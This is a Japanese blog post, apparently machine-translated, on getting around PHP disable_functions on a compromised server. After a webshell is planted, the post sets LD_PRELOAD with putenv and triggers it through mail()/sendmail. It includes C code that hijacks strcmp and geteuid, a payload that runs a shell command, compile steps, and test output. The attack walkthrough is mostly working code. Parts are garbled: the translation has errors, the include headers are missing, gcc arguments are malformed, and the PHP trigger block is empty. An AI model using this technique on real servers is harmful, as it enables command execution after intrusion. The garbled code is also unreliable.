利用環境変数LD_PRELAADはphp disableを迂回するfunction実行システムコマンド

7516 ワード

YiYang · 2016/05/20 15:55
0 x 00はじめに
浸透テストをするときにセキュリティ構成の良いサーバに遭遇した場合、phpタイプのwebshellを様々な方法で入手した後、システムコマンドを実行できない気まずい思いをしていることに気づきました.このようなサーバはコマンド実行関数に対して防犯措置を取ったため、後続の浸透行為は止まっています.筆者は、実際のテストで役に立つことを望んでいます.
0 x 02構想を迂回する
厳しい環境でphp設定されたdisable_functionは次のとおりです.
  • dl
  • exec
  • system
  • passthru
  • popen
  • proc_open
  • pcntl_exec
  • shell_exec

  • もしあなたが出会った設定からいくつかの関数が漏れたら、それに越したことはありません.漏れた関数を直接利用して迂回します.しかし、運が悪くて、システムコマンドを直接実行できるすべての関数が無効になっている場合、それは本当に泣きたいです.cmdshellをリバウンドして贅沢になりたい.もちろん開発使用などの影響要因を考慮して、一般的なweb環境は完全に無効にすべきではない.
    筆者は大量の資料を探した結果、この場合、システムコマンドを実行する方法がいくつかあることが分かった.例えば、/proc/self/memでgotを修正してライブラリ関数呼び出しをハイジャックしたり、php逆シーケンス化メモリ破壊ホールを利用したりしたが、これらの方法は利用が難しく、メモリオフセットアドレスなどの知識点を明らかにし、同じプラットフォームを構築してデバッグしなければならない.また、一般的にセキュリティ構成では、ユーザーのファイル権限を厳格に制限しopen_を設定します.basedir、memなどのファイルを読み取る機会がなく、成功するのは難しいです.
    では、他の方法はありませんか?putenvとmail関数は、bashの脆弱性を修正していない場合、ネット上ですでに与えられたpoc:www.exploit-dbを利用することを望んでいます.com/exploits/35...簡単に迂回できます.
    このpocの一般的な考え方はputenvによってカスタム関数を含む環境変数を設定し,mail関数によってトリガすることである.なぜmail関数がトリガできるのか、mail関数は実行中にphpとシステムコマンド実行関数が交差し、popen関数を呼び出して実行し、システムにbashホールがあれば、悪意のあるコードの実行を直接トリガします.しかし、一般的にはこのような脆弱性、安全意識の良い運営とメンテナンスは、パッチを適用します.
    では、phpのmail関数は実行中にシステムプログラム/usr/sbin/sendmailをデフォルトで呼び出し、sendmailプログラムをハイジャックし、mail関数でトリガーすれば目的を達成することができます.Webshellレイヤでハイジャックする方法はありますか?環境変数LDPRELAADは私たちに簡単で実用的な道を提供してくれた.
    0x03 LD_PRELOAD hack
    UNIXのダイナミックリンクライブラリの世界で、LD_PRELAADは、プログラム実行時のリンクに影響を与える興味深い環境変数であり、プログラム実行前に優先的にロードされるダイナミックリンクライブラリを定義できます.これらの知識をさらに理解したい場合は、ネット上で関連記事を検索することができます.ここでは説明しすぎず、インスタンスを直接見ると、利用原理がわかります.
    インスタンス:verifypasswd.c
    #!c
    #include 
    #include 
    int main(int argc, char **argv){
    char passwd[] = "password";
    if (argc < 2) {
            printf("usage: %s /n", argv[0]);
            return;
    }
    if (!strcmp(passwd, argv[1])) {
            printf("Correct Password!/n");
            return;
    }
    printf("Invalid Password!/n");
    }
    

    プログラムは簡単で、入力された文字列が「password」に等しいかどうかを判断することによって、2つの異なる結果が得られます.ここでは、外部呼び出し関数である標準C関数strcmp関数を用いて比較し、同名の関数を再記述します.
    #!c
    #include 
    #include 
    int strcmp(const char *s1, const char *s2){
        printf("hack function invoked. s1= s2=/n", s1, s2);
        return 0;
    }
    

    動的共有ライブラリにコンパイルします.
    #!shell
    $ gcc -o verifypasswd.c verifypasswd    
    
    $ gcc -shared verifypasswd -o hack.so
    

    LD経由PRELAADは、他の呼び出しプログラムによって優先的にロードされるように設定します.
    #!shell
    $ export LD_PRELOAD="./hack.so"
    

    与えられたルーチンを実行します.
    #!shell
    $ ./verifypasswd  abcd  
    
    $ Correct Password!
    

    任意の文字列を入力すると、パスワードが正しく表示されます.これは、プログラムが実行時に自分で作成したプログラムを優先的にロードしていることを示しています.つまり、プログラムが実行中に標準的なダイナミックリンクライブラリの関数を呼び出した場合、LD_を通過する機会があります.PRELAADは、自分たちが作成したプログラムを優先的にロードし、ハイジャックを実現するように設定します.
    0 x 04実戦テスト
    では、sendmail関数が呼び出されたライブラリ関数を見てみましょう.readelf -Ws /usr/sbin/sendmailコマンドを使用して表示すると、sendmail関数は実行中に多くの標準ライブラリ関数を動的に呼び出されていることがわかります.
    #!shell
    [[email protected] Desktop]$ readelf -Ws /usr/sbin/sendmail  
    
    Symbol table '.dynsym' contains 202 entries:
       Num:    Value          Size Type    Bind   Vis      Ndx Name
         0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
         1: 0000000000000238     0 SECTION LOCAL  DEFAULT    1 
         2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
         3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
         4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND pcre_fullinfo
         5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
         6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
         7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.3 (3)
         8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.3 (3)
         9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
        10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
        11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
        12: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND db_version
        13: 0000000000000000     0 OBJECT  GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
        14: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
        15: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
        16: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
        17: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
        18: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
        19: 0000000000000000     0 FUNC    WEAK   DEFAULT  UND [email protected]_2.2.5 (2)
        20: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
    ......
    

    適切なライブラリ関数を選択すると、次のようにテストできます.
  • は、独自のダイナミックリンクプログラムを作成します.
  • putenvでLD_を設定するPRELAAD、私たちのプログラムを優先的に呼び出しましょう.
  • webshellでmail関数でメールを送信してトリガーします.

  • 新しいファイルの削除をテストします.ここではgeteuid()関数を選択して改造し、/tmpディレクトリにファイルcheckを新規作成します.txt.
    作成c:
    #!c
    #include 
    #include 
    #include  
    
    void payload() {
            system("rm /tmp/check.txt");
    }   
    
    int  geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
    }
    

    この共有ライブラリのgeteuidが呼び出されるとpayload()関数をロードし、コマンドを実行しようとします.このテスト関数は書くのが簡単で、実際に応用する時に相応に調整して完備することができます.攻撃機(コンパイルプラットフォームはターゲットプラットフォームに近いことに注意してください.少なくとも1つは32ビットで、1つは64ビットではありません)は、位置情報に関係のない動的共有ライブラリにコンパイルします.
    #!shell
    $ gcc -c -fPIC hack.c -o hack 
    
    $ gcc -shared hack -o hack.so
    

    Webshellにアップロードし、簡単なphpコードを書きます.
    #!php
    
    

    ブラウザで開くと実行できます.その後、新しいファイルがまだ存在するかどうかを確認します.ファイルが見つからないと、システムが削除コマンドを正常に実行したことを示します.つまり、成功を迂回したことを意味します.テストでは実際のパスに変更することに注意してください.ローカルテストの効果は次のとおりです.
    #!shell
    [[email protected] Desktop]$ touch /tmp/check.txt
    [[email protected] bin]$ ./php mail.php
    sendmail: warning: the Postfix sendmail command has set-uid root file permissions
    sendmail: warning: or the command is run from a set-uid root process
    sendmail: warning: the Postfix sendmail command must be installed without set-uid root file permissions
    sendmail: fatal: setgroups(1, &500): Operation not permitted
    [[email protected] bin]$ cat /tmp/check.txt
    cat: /tmp/check.txt: No such file or directory
    

    通常のユーザー権限で、ターゲットファイルが削除されます.
    0 x 05ノット
    以上の方法はLinux RHEL 6及び持参メールサービス+php 5.3.X以下のプラットフォームのテストに合格したが、精力が限られているため、他のプラットフォームでテストを継続していない.新しいバージョンは相応の修復を行った可能性がある.このような迂回動作は、関連関数を無効にしたり、セキュリティモードなどの環境変数の伝達を制限したりしても、実際には防御しやすく、この伝達は成功しません.この考え方はmail関数に限らず、syslogなどのシステム層と交差する関数にも動的共有ライブラリを呼び出すような動作があるかどうかを追跡してみることができます.